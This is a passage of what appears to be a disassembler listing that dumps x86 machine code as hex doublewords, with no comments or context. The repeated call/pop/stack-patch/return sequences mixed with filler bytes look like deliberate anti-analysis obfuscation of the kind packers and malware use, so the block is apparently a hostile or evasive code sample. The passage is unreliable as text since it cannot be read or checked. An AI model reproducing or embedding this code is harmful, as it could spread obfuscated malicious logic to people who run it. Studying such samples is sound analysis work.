		dd 4C8959C3h, 44810424h, 150424h, 51410000h, 232B83C3h
		dd 0B0875BDh, 0C4868906h, 0F000000h, 958BFEBFh,	60B174Dh
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 25C35747h
		dd 6A04C283h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 15042444h, 40000000h, 0A5B6C350h, 152D9D29h,	0C781060Bh
		dd 12C26C0Ch, 6A205089h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 19042444h, 42000000h, 0ED0CC352h,	0CE3219B1h
		dd 10E9h, 0A6418D00h, 410E5CD9h, 32DD5D21h, 433CD04Ah
		dd 8DD88B5Ch, 0EBAEE85h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1A04h, 0C3524200h, 0A208756Bh, 0FB2211Ch
		dd 68Ah, 499D8B00h, 89060B18h, 0B886h, 56006A00h, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1904h, 0C3564600h
		dd 4EC71121h, 7FBBDF51h, 6A302CA5h, 55006A00h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1404h,	0C3554500h, 89BD899Dh
		dd 0FF060B0Bh, 0EA81DB5h, 50006A06h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1C04h,	0C3504000h, 1A3D5389h
		dd 35A50503h, 66D98AB9h, 0B2EDCF81h, 0F1595FFh,	6A060Bh
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h, 50400000h
		dd 6EC510C3h, 98D91AF3h, 9D8D896Eh, 50060B05h, 7684BF66h
		dd 0F243489h, 0B5FFDBBFh, 60EA81Dh, 0E856006Ah,	3, 5EC35E20h
		dd 4247489h, 4244481h, 16h, 2BC35646h, 0BB66F2C8h, 95FF24F8h
		dd 60B00F5h, 2191BD83h,	0F00060Bh, 2384h, 0BA2CBF00h, 0E8507185h
		dd 8, 0F8D29130h, 89A73A4h, 6840Fh, 810F0000h, 0
		dd 2434895Fh, 0A81DB5FFh, 6A060Eh, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 180424h, 55450000h, 26AABC3h, 0CE99BB4h
		dd 3000000h, 2AB32DA0h,	0F322BE63h, 0E801192Eh,	0Bh, 6F23F8A7h
		dd 48CBB432h, 5F82B9C3h, 10E960h, 0F5D0000h, 325DF423h
		dd 85D8EECAh, 3DF8319Dh, 860FEA61h, 6, 2781958Bh, 0FF61060Bh
		dd 0B128195h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1704h, 0C3574700h, 8DCC32D7h, 2870Fh, 0DF8B0000h, 0A81DB5FFh
		dd 6A060Eh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 150424h
		dd 56460000h, 89802DC3h, 0B0BC995h, 0D7816606h,	95FFB6EBh
		dd 60B0B8Dh, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 14h,	35C35545h, 0D0E78166h, 0F7F38174h, 830A36D8h, 0B17F1BDh
		dd 840F0206h, 21h, 133CF781h, 858B2238h, 60B2EC5h, 68B0Fh
		dd 95890000h, 60B1639h,	8B0000C6h, 0B0DA1BDh, 0B985C706h
		dd 60B06h, 66000000h, 0E9C161BFh, 0FFFFF465h, 8B7FD380h
		dd 53006AC1h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1804h
		dd 0C3534300h, 382E90FDh, 69BF66C7h, 0EF816661h, 858DEC0Bh
		dd 60B28A9h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 16h,	49C35747h, 0BF0F0324h, 499D8BDBh, 50060B2Fh, 489F88Ah
		dd 8E924h, 0E98D0000h, 0F4352E37h, 6A60DFh, 0E5DE8060h
		dd 19E18589h, 6661060Bh, 6A4129BBh, 51006A00h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1D04h,	0C3514100h, 70F26DD6h
		dd 0BD8C3BD1h, 870F27FFh, 4, 2B9FBB66h,	6F79ADBBh, 0F5858D63h
		dd 6A060F40h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1B042444h, 41000000h, 79DAC351h, 427D973h, 858973C2h
		dd 60B0705h, 6A05C083h,	3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 17042444h, 45000000h, 5CCEC355h, 0BD8B24F5h
		dd 60B1019h, 4A9EBF66h,	6E890h,	41730000h, 6C5384Ch, 10B3505Fh
		dd 53006A90h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1504h
		dd 0C3534300h, 0D7812EA4h, 114C7480h, 6A006AF5h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 14042444h, 41000000h
		dd 8957C351h, 0B2021B5h, 6A006A06h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1D042444h, 42000000h, 603C352h
		dd 0F0693E39h, 0E9969B90h, 2F2195FFh, 8D8D060Bh, 60EA7B0h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 0C6C35343h
		dd 8AF0A31Dh, 50CCAA8Dh, 12A58509h, 0FF5B060Bh,	0DABF0FD1h
		dd 0B19BD83h, 0F01060Bh, 2C85h,	8B026A00h, 0B1335BDh, 0BE89006h
		dd 72000000h, 365B376Ch, 0A7153756h, 0D98A4B21h, 0DA8B505Bh
		dd 1595FF90h, 29060B0Fh, 0B18D98Dh, 0EB7E906h, 0E80000h
		dd 5D000000h, 40FFED81h, 0EB81060Fh, 42335013h,	0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 17h, 0A5C35040h, 0F4C559Bh
		dd 0B8Fh, 8B666000h, 0E59589F3h, 61060B29h, 9293858Dh
		dd 0E990060Eh, 0Fh, 0C05B5961h,	3497ACC1h, 4661C18Fh, 50AD4606h
		dd 8E9h, 0AC48AE00h, 51DA354Ch,	0BD039033h, 60B0961h, 35FF64h
		dd 0F000000h, 68Eh, 0E19D3300h,	64060B1Fh, 2589h, 6A0000h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h, 57470000h
		dd 0B92D3C3h, 532CB680h, 661FE676h, 85FFDA8Bh, 60B066Dh
		dd 0CFBBBF66h, 6AFF6Ah,	3E851h,	59200000h, 4C8959C3h, 44810424h
		dd 1C0424h, 51410000h, 0CB67D7C3h, 37B2C23Dh, 9D8BD0D1h
		dd 60B26D5h, 1A49B5FFh,	6A060Bh, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 140424h, 50400000h, 0B5897CC3h, 60B13A9h
		dd 3399D8Bh, 95FF060Bh,	60B2411h, 188E9h, 0C830F00h, 0F000000h
		dd 686h, 0F98D0900h, 0B0060B22h, 8810F00h, 0F000000h, 28Dh
		dd 0F5F5100h, 180h, 70E6F500h, 15D98509h, 0BD8B060Bh, 60B2491h
		dd 0F96071E4h, 212D9523h, 3C61060Bh, 3E830F61h,	1000001h
		dd 0B28A59Dh, 0C8B60F06h, 0D9D8D89h, 6BA060Bh, 8B000000h
		dd 0B98529C1h, 89060B2Ah, 0B028DB5h, 4E8C106h, 66D98B66h
		dd 0BD8BE2F7h, 60B19EDh, 8BFCC82Bh, 0FD18BD8h, 0C82h, 6840F00h
		dd 29000000h, 0B28FD8Dh, 2E906h, 5B530000h, 41D858Bh, 9D09060Bh
		dd 60B00D5h, 8907C083h,	0B132185h, 0C08306h, 46F68160h
		dd 61083313h, 830FD03Bh, 46h, 0FE8h, 8DC89C00h,	0FDE634F0h
		dd 6C48EE7Ah, 0E298AD65h, 14E960h, 0E77D0000h, 63F8677Eh
		dd 1179A884h, 144BCF4Fh, 0C89863ECh, 5F6189B9h,	90E9h
		dd 0BE9F800h, 5C000000h, 9939BBDDh, 3B06E5E4h, 8D8B0A5Bh
		dd 60B2421h, 12E9h, 569D8800h, 0D66171CCh, 66C13A4Fh, 0FDBF7BF2h
		dd 83786099h, 840F01E1h, 59h, 13E9h, 9030BC00h,	56D8895Bh
		dd 0F9F5891h, 313D4855h, 72202418h, 2421A583h, 0E8FE060Bh
		dd 13h,	7C09C9E2h, 454A89ADh, 62CDB2Eh,	0CB444D5Ch, 331B7A38h
		dd 0B0DC9BDh, 95895F06h, 60B041Dh, 0FDA8B66h, 78Ch, 81665100h
		dd 5FAA06DFh, 0E9h, 0BEB58D00h,	6A060EC6h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 17042444h, 45000000h, 492AC355h
		dd 0B589B0F0h, 60B1825h, 8A0F006Ah, 1, 0DD95FFFCh, 31060B32h
		dd 0B01B98Dh, 0DF1B906h, 6A0000h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 180424h, 52420000h, 751472C3h, 0A4BFFEFBh
		dd 83479BC2h, 6AFCE1h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 1C0424h, 50400000h, 0C9C66DC3h, 20D09E75h, 6AFCA06Eh
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1B042444h
		dd 42000000h, 2BD4C352h, 8D5EA12Eh, 8960C036h, 0B0689B5h
		dd 2800F06h, 8B000000h,	0C02B61DAh, 0E850006Ah,	3, 58C35820h
		dd 4244489h, 4244481h, 15h, 0BBC35040h,	319D8BC9h, 2B060B10h
		dd 0E58589D2h, 0AD060B14h, 0E8D1C233h, 0E983D003h, 80F47504h
		dd 6A50DFh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h
		dd 53430000h, 11E982C3h, 0DB000000h, 1673609Ah,	7B14B8E3h
		dd 0EC9DEE09h, 6CB6C03Ah, 11E9h, 0E3A1ED00h, 0F3C2842Dh
		dd 4027654Eh, 916C14CBh, 880D0116h, 0F000000h, 684h, 99D8900h
		dd 8B060B00h, 0B174D95h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1504h, 0C3524200h, 8D8B2823h, 60B0119h, 0AF98D89h
		dd 8B50060Bh, 3188BC2h,	8B188BC1h, 3E8D1C1h, 58188BC2h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 18h, 0DCC35141h
		dd 0CAF6717Bh, 5FF88B53h, 4F69BF66h, 29BDBD83h,	0F00060Bh
		dd 2584h, 159D2300h, 0B8060B14h, 0
		dd 14D5BD01h, 8D8D060Bh, 60B4DD7h, 21799D8Bh, 0E1FF060Bh
		dd 20D3CF81h, 0BD83464Ch, 60B1009h, 0AE840F00h,	6A000004h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 16042444h
		dd 46000000h, 0B6C1C356h, 9E78073h, 1009BD83h, 0F01060Bh
		dd 49B84h, 52006A00h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h
		dd 1704h, 0C3524200h, 9FB8E4F6h, 6621D381h, 0BD8B096Eh
		dd 60B1259h, 1009BD83h,	0F03060Bh, 42D86h, 619D8B00h, 60060B11h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 14h, 0BEC35141h
		dd 6AD98C66h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 15042444h, 40000000h, 1E65C350h, 14E9h, 53856E00h, 51A10BF9h
		dd 0EE2B14E8h, 6530176Fh, 2DD69FE9h, 80F88A19h,	6A04E1h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1B0424h, 53430000h
		dd 518F44C3h, 6CC51EAEh, 0E59D8B30h, 57060B12h,	5BEDBF66h
		dd 0FC90A5Bh, 12284h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1704h, 0C3534300h, 0B598A60Eh, 317D858Bh
		dd 860F060Bh, 3, 33D8B70Fh, 0B06ED85h, 599D3306h, 89060B02h
		dd 0B0F49B5h, 4895006h,	6ADB8024h, 6A006Ah, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 160424h, 51410000h, 8720FFC3h
		dd 62AEBF66h, 37D3C468h, 5860F61h, 0BF000000h, 6BF0AF99h
		dd 3B243481h, 0F6128D0h, 148Bh,	8E800h,	0B7E40000h, 0C7C93890h
		dd 840F50F6h, 0
		dd 0D195FF5Fh, 6A060B03h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 19042444h, 47000000h, 511FC357h, 3A89BD5Eh
		dd 0C058589h, 9D23060Bh, 60B17F9h, 0A81D8589h, 6A060Eh
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h, 57470000h
		dd 24E6CDC3h, 444E1026h, 898D6692h, 0B16BD95h, 22AE906h
		dd 11E80000h, 0BF000000h, 55D39A04h, 0F3F16C74h, 0A59A0E27h
		dd 7D94A094h, 32F58589h, 8B5B060Bh, 0EA81585h, 14E806h
		dd 1A2C0000h, 9750D47Ch, 0F0EB4178h, 4C36522h, 0A6C17A5Eh
		dd 13E86259h, 4B000000h, 0CC5743E5h, 32B8A180h,	914A1D17h
		dd 0A9DA9DE4h, 0AE8222Dh, 94000000h, 860D9980h,	0C8B1BAC1h
		dd 5B5F5B88h, 1800C7h, 6A0000h,	3E853h,	5B200000h, 5C895BC3h
		dd 44810424h, 170424h, 53430000h, 629E37C3h, 19B58B3Ah
		dd 6A060EA8h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 15042444h, 47000000h, 0B866C357h, 359D8B57h,	5B060B13h
		dd 6E1858Bh, 8B66060Bh,	6A0689D9h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 16042444h, 40000000h, 5AA7C350h
		dd 7D858BFCh, 9060B31h,	0B2E91BDh, 5830F06h, 66000000h
		dd 0BF2AE781h, 6A044689h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 18042444h, 42000000h, 743FC352h, 0E97C490Eh
		dd 13h,	50218AACh, 0D2F9981Ah, 0B79314D0h, 1715A7F9h, 5066F5D6h
		dd 0D5AD75BBh, 24348946h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 1Bh, 13C35545h, 0C56A6452h, 0F964A70h, 8D89DBB7h
		dd 60B27C5h, 0A815B5FFh, 8501060Eh, 60B21DDh, 31577B68h
		dd 81D88B91h, 0AC842404h, 6A6EEDh, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 1B0424h, 56460000h, 15D5E3C3h, 0C57E557Dh
		dd 1D858D0Ch, 6A060EA8h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 17042444h, 45000000h, 33C4C355h, 9589675Dh
		dd 60B0669h, 247D8D09h,	6650060Bh, 89C1A3BFh, 6A2404h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 160424h, 53430000h
		dd 0C0368DC3h, 0FFDE8B66h, 0B03D195h, 56006A06h, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1904h, 0C3564600h
		dd 0B590EA08h, 95896208h, 60B063Dh, 0F1BD8B61h,	66060B32h
		dd 0C75238BBh, 0B100985h, 306h,	0C9958900h, 83060B00h
		dd 0EA81DBDh, 840F0006h, 3Eh, 0EE9h, 0D03B4500h, 0E2F3E87h
		dd 5A170912h, 0E948C00Ch, 41h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 18h, 53C35141h, 883645A2h, 1B299D29h
		dd 3050060Bh, 4400110Ch, 0E8C10111h, 11443010h,	114C0002h
		dd 0E9835803h, 0EBE77504h, 4305036h, 11640011h,	10E8C101h
		dd 2114430h, 3116400h, 4E98358h, 1BEBE775h, 10E8C150h
		dd 3116428h, 2114430h, 11642858h, 11043001h, 7504E983h
		dd 8B00EBE7h, 0D8BF0FC0h, 19919D8Bh, 6A060Bh, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1B0424h, 57470000h, 27B2D2C3h
		dd 93AD6ED7h, 0FDBD897Eh, 83060B0Ah, 0B1009BDh,	850F0306h
		dd 49Eh, 75BCEB81h, 0BD8318DEh,	60EA81Dh, 8B840F00h, 6A000004h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 19042444h
		dd 41000000h, 435EC351h, 0C0D77906h, 0CBD9D29h,	0B5FF060Bh
		dd 60EA81Dh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 18h,	95C35343h, 373F5363h, 83D95FFh,	9D8B060Bh, 60B1AC5h
		dd 2B61B589h, 0B58B060Bh, 60EA811h, 0FE9h, 1A983500h, 9A5FECD0h
		dd 84BB3DCh, 24AFDDA8h,	14E59D8Bh, 6C7060Bh, 10001h, 0A6399DBFh
		dd 5060964Dh, 9E852h, 9A210000h, 3F16970Eh, 5A748110h
		dd 6E8310Fh, 28000000h,	0BF2D6DAh, 585A5F20h, 56535061h
		dd 5F5BDE8Bh, 51006A96h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1C04h, 0C3514100h, 55F710E5h, 0C6234100h, 1DB5FF97h
		dd 0F060EA8h, 689h, 0B1B58900h,	0FF060B07h, 0B064195h
		dd 51006A06h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1A04h
		dd 0C3514100h, 0B5A850FFh, 8BE8D690h, 0B0509BDh, 7E806h
		dd 54000000h, 0E112D6BAh, 59BD8983h, 5F060B13h,	0A811B58Bh
		dd 6A060Eh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 180424h
		dd 52420000h, 3153DDC3h, 9D8BC856h, 60B0E9Dh, 19059589h
		dd 858B060Bh, 60B121Dh,	29DD9589h, 8689060Bh, 0C4h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 98C35545h, 0E5BA9D04h
		dd 0D0E8FD9Ch, 6860F0Ah, 89000000h, 0B0B318Dh, 4D958B06h
		dd 31060B17h, 0B04B595h, 4C28306h, 68F0Fh, 8D0F0000h, 0
aFHnipJ		db 'fżHN‰P j',0
		db 55h,	0E8h, 3
		dd 20000000h, 895DC35Dh, 8104246Ch, 15042444h, 45000000h
		dd 959C355h, 0BAEE858Dh, 6A060Eh, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 1D0424h, 50400000h, 7F013FC3h, 110D128Ah
		dd 66B7547Bh, 897C5EBBh, 0B886h, 51006A00h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1504h,	0C3514100h, 9D8B9997h
		dd 60B08B1h, 6A006Ah, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 1C0424h, 55450000h, 0CF4877C3h, 3F0CA72Ah, 10E82A76h
		dd 44000000h, 0AA37B579h, 0CD73ADCEh, 5297592h,	8A9C0363h
		dd 0B5FF5BDDh, 60EA81Dh, 0E855006Ah, 3,	5DC35D20h, 4246C89h
		dd 4244481h, 15h, 6BC35545h, 0D9B70FC8h, 0F1595FFh, 6A060Bh
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 180424h, 57470000h
		dd 44A6EC3h, 8D01CBC7h,	60B3355h, 0EE950h, 9C040000h, 8EBD55D2h
		dd 0F08318A6h, 0EED8B1AAh, 6A243489h, 3E85100h,	20000000h
		dd 8959C359h, 8104244Ch, 16042444h, 41000000h, 8C1AC351h
		dd 0B5FFF8D2h, 60EA81Dh, 0B70FF88Bh, 0F595FFF8h, 66060B00h
		dd 9FBDDB81h, 2191BD83h, 0F00060Bh, 5184h, 52006A00h, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1704h, 0C3524200h
		dd 0D098DBFAh, 29C9B589h, 5096060Bh, 6A96DE8Bh,	3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1C042444h, 40000000h
		dd 6EC6C350h, 6FBE066Eh, 6690D367h, 0B5FFFE8Bh,	60EA81Dh
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 7AC35343h
		dd 9B9ABCF8h, 8195FF10h, 0E8060B12h, 0Eh, 9FFA071Ah, 6B1E1CF1h
		dd 0D2703D81h, 85094EC1h, 60B2001h, 1DB5FF5Bh, 0F060EA8h
		dd 95FFDBBFh, 60B0B8Dh,	0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 1Ah, 8DC35040h, 15520AECh,	0BD834614h, 60B17F1h
		dd 86840F02h, 6A000000h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1B042444h, 40000000h, 0CDDEC350h,	95E9AB4Fh
		dd 6060A4AAh, 6E9h, 0CFB9A600h,	2905B095h, 0B298195h, 0CE96106h
		dd 4D000000h, 0EA94D76Dh, 0FCFE7CE4h, 6143BA0Bh, 2EC5858Bh
		dd 8F0F060Bh, 6, 13BD9D29h, 0C6060Bh, 53006A00h, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1904h, 0C3534300h
		dd 92111266h, 8BF9DC91h, 0B151DBDh, 0B985C706h,	60B06h
		dd 0F000000h, 49E9D9BFh, 6AFFFFF2h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 14042444h, 47000000h, 8B21C357h
		dd 53006AC1h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1604h
		dd 0C3534300h, 8BE18CDFh, 0B0BC59Dh, 0A9858D06h, 0F060B28h
		dd 38Fh, 0F98B6600h, 0BF665750h, 895F3E82h, 6A2404h, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 140424h, 52420000h
		dd 6AEEC3h, 7E18D89h, 6A060Bh, 261BD0Bh, 858D060Bh, 60F5116h
		dd 0DB9FBF66h, 6A05C083h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1B042444h, 40000000h, 1140C350h, 72DD1DD0h
		dd 89601B51h, 0B15C59Dh, 61F38A06h, 0BA34BF50h,	4895265h
		dd 0AD850124h, 6A060B02h, 38B0F00h, 80000000h, 6A38C3h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 19h, 49C35141h
		dd 0CDABE4Bh, 68E0F40h,	1000000h, 0B0CE5B5h, 2195FF06h
		dd 6A060B2Fh, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 16042444h, 45000000h, 0D7F6C355h, 0E5BD8B77h, 8D060B04h
		dd 0EA7B08Dh, 0EF816606h, 0D1FF209Ch, 7E9h, 0EAF4BA00h
		dd 0DA267E44h, 0B19BD83h, 0F01060Bh, 4D85h, 0BA606000h
		dd 13EE3496h, 8D2B61FCh, 60B0F31h, 89026A61h, 0B06299Dh
		dd 8B665006h, 240489D8h, 6D18D01h, 95FF060Bh, 60B0F15h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 15C35343h
		dd 0AE0E5344h, 41E972FDh, 0E800000Eh, 0
		dd 20ED815Dh, 6A060F51h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1B042444h, 40000000h, 0FEB9C350h,	0F847F917h
		dd 6E8B843h, 8000000h, 68CF565Eh, 7E9A3h, 95CE0000h, 3A4436A9h
		dd 8B665F68h, 0BE9F8h, 35F10000h, 0E1E08F6Dh, 7FD9DB81h
		dd 14E812h, 0CFC40000h,	49D7C8F6h, 2861CB1Bh, 4E9C001Ah
		dd 7E9E9B18h, 0B6035D8h, 0B17959Dh, 0A9BD8B06h,	61060B06h
		dd 93858D5Bh, 31060E92h, 0B06DD95h, 0ECBB5006h,	8953290Ah
		dd 0D5BF2404h, 640D3FFFh, 35FFh, 6A0000h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1D0424h, 53430000h, 98AAD1C3h
		dd 0F60973A9h, 64442952h, 2589h, 95890000h, 60B19C5h, 66D85FFh
		dd 6A060Bh, 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h
		dd 50400000h, 29A97EC3h, 54A47BC1h, 0BE9AEh, 0C1030000h
		dd 0AFC6F8Dh, 2129C9C2h, 6AFF6A35h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 1C042444h, 43000000h, 8ECBC353h
		dd 16EF90E4h, 5753CF47h, 7ADCBB66h, 0C9B5FF5Bh,	6A060B19h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1A042444h
		dd 40000000h, 2BAFC350h, 0CB71D67Bh, 9743BBD7h,	95FF715Fh
		dd 60B2411h, 112E9h, 1DBD0B00h,	0B0060B21h, 519D0900h
		dd 0E6060B2Fh, 1DBD8B70h, 0E4060B01h, 0F613C71h, 0F283h
		dd 850FF500h, 0
		dd 0E8C8B60Fh, 13h, 0A5D3C0Ah, 0CD1DBB9h, 7F4C0E01h, 8F25392Fh
		dd 0E97F0828h, 5, 0D3208B03h, 6BA5BBBh,	89000000h, 0B032985h
		dd 89C18B06h, 0B18A98Dh, 39BD8B06h, 0C1060B01h,	0BF0F04E8h
		dd 0E2F766DBh, 25DBD8Bh, 0C82B060Bh, 8EBCC8BBh,	89D18B2Fh
		dd 0B208595h, 0E906h, 858B0000h, 60B2075h, 0DE8h, 0DE146D00h
		dd 1AC215D8h, 0C9873132h, 835FF2A4h, 0BD0907C0h, 60B32D5h
		dd 6600C083h, 0A203E381h, 830FD03Bh, 12h, 8B0Fh, 4CE90000h
		dd 0F000000h, 18Dh, 8D8BF900h, 60B0869h, 13E9h,	7FBFC00h
		dd 21495DF5h, 8ACDDBD5h, 0D11621D8h, 32374D21h,	0F01E183h
		dd 1E84h, 69A58300h, 0FE060B08h, 840Fh,	95890000h, 60B2075h
		dd 22558501h, 0E9060Bh,	8D000000h, 0ED704B5h, 55006A06h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1A04h, 0C3554500h
		dd 0D9FEA303h, 66B6A744h, 911ADB81h, 6A006Ah, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1D0424h, 55450000h, 111661C3h
		dd 219D75EEh, 0F95670E1h, 8D58589h, 0FE9060Bh, 0AA000000h
		dd 133EA3C3h, 643B29F3h, 737C47BDh, 95FF1772h, 60B32DDh
		dd 3820B6BBh, 0A48B974h, 0BD890000h, 60B0209h, 0DE9h, 7039F000h
		dd 6819171Eh, 54889E5Dh, 0E18397E2h, 0F337BFFCh, 6AFC3D0Ah
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 19042444h
		dd 45000000h, 7949C355h, 699DED40h, 0B8FCh, 9D8B0000h
		dd 60B035Dh, 6AD22Bh, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 1C0424h, 51410000h, 0ADFB32C3h, 0A0DC215Eh, 56561BCCh
		dd 12E8h, 294F1B00h, 320D8D3Fh,	5D52821Ah, 0F9A7DDB0h
		dd 5BDF3E37h, 33AD5B5Fh, 3E8D1C2h, 4E983D0h, 8D89F475h
		dd 60B2B1Dh, 22F9BD31h,	0E857060Bh, 8, 83ACEDE9h, 0FE15DCA4h
		dd 6E9h, 2B017300h, 5B4617C5h, 880D5Fh,	0E8BB0000h, 60032D58h
		dd 8D8BEBB6h, 60B08D5h,	4D958B61h, 0B3060B17h, 198D8B2Eh
		dd 6A060B01h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 17042444h, 43000000h, 5500C353h, 6E8C1E3h, 9D000000h
		dd 47D5A5E5h, 61B58984h, 5B060B27h, 8BC28B50h, 8BC10318h
		dd 0D1C18B18h, 8BC203E8h, 0BF0F5818h, 52006AFFh, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1504h, 0C3524200h
		dd 12E9E9DFh, 0B8000000h, 0EBF114DEh, 0AA096F40h, 222BB820h
		dd 36B51EDEh, 0BD83F938h, 60B29BDh, 6A840F00h, 53000000h
		dd 12E1BD8Bh, 0B85B060Bh, 0
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 14h, 61C35040h
		dd 0EB59D8Bh, 8D8D060Bh, 60B4DD7h, 399D8BFCh, 0FF060B29h
		dd 51006AE1h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1804h
		dd 0C3514100h, 0FDCC8244h, 659D8B58h, 8B060B1Ah, 0B20E1BDh
		dd 9BD8306h, 60B10h, 4A9840Fh, 6A0000h,	3E850h,	58200000h
		dd 448958C3h, 44810424h, 1A0424h, 50400000h, 6A0C24C3h
		dd 0E5B2985Dh, 1009BD83h, 0F01060Bh, 49584h, 56006A00h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1404h, 0C3564600h
		dd 0B59D8989h, 83060B21h, 0B1009BDh, 860F0306h,	430h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 60C35242h, 4A72CCE9h
		dd 8D896210h, 60B18F5h,	0D98C6660h, 0E857006Ah,	3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Bh, 7BC35747h, 8680BB3Eh, 8192639Eh
		dd 0A6824CBh, 399D0964h, 80060B2Bh, 6A04E1h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1C0424h, 56460000h, 11B58BC3h
		dd 8EF0C7F3h, 0C90A27C3h, 153840Fh, 6A0000h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 180424h, 56460000h, 7C0528C3h
		dd 858BBB89h, 60B317Dh,	0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 19h, 2DC35545h, 0B67F1D2Ah, 1AB36011h, 5A5EE81h
		dd 89613612h, 0B0809BDh, 0ED853306h, 8B060B06h,	0B069D9Dh
		dd 8E95006h, 7B000000h,	3EB8ABEh, 896B5CA4h, 5F522404h
		dd 8589006Ah, 60B02DDh,	0DFC76768h, 6E8ADh, 3BFF0000h
		dd 5A4984E2h, 8E9h, 0D6F9D400h,	1584AE97h, 4815BD6h, 3F3C9824h
		dd 50006A52h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1904h
		dd 0C3504000h, 0CF3CFCA9h, 0BD899F7Eh, 60B02D5h, 3D195FFh
		dd 14E9060Bh, 0E6000000h, 0DE1F3816h, 19EE0DF1h, 9F31BA41h
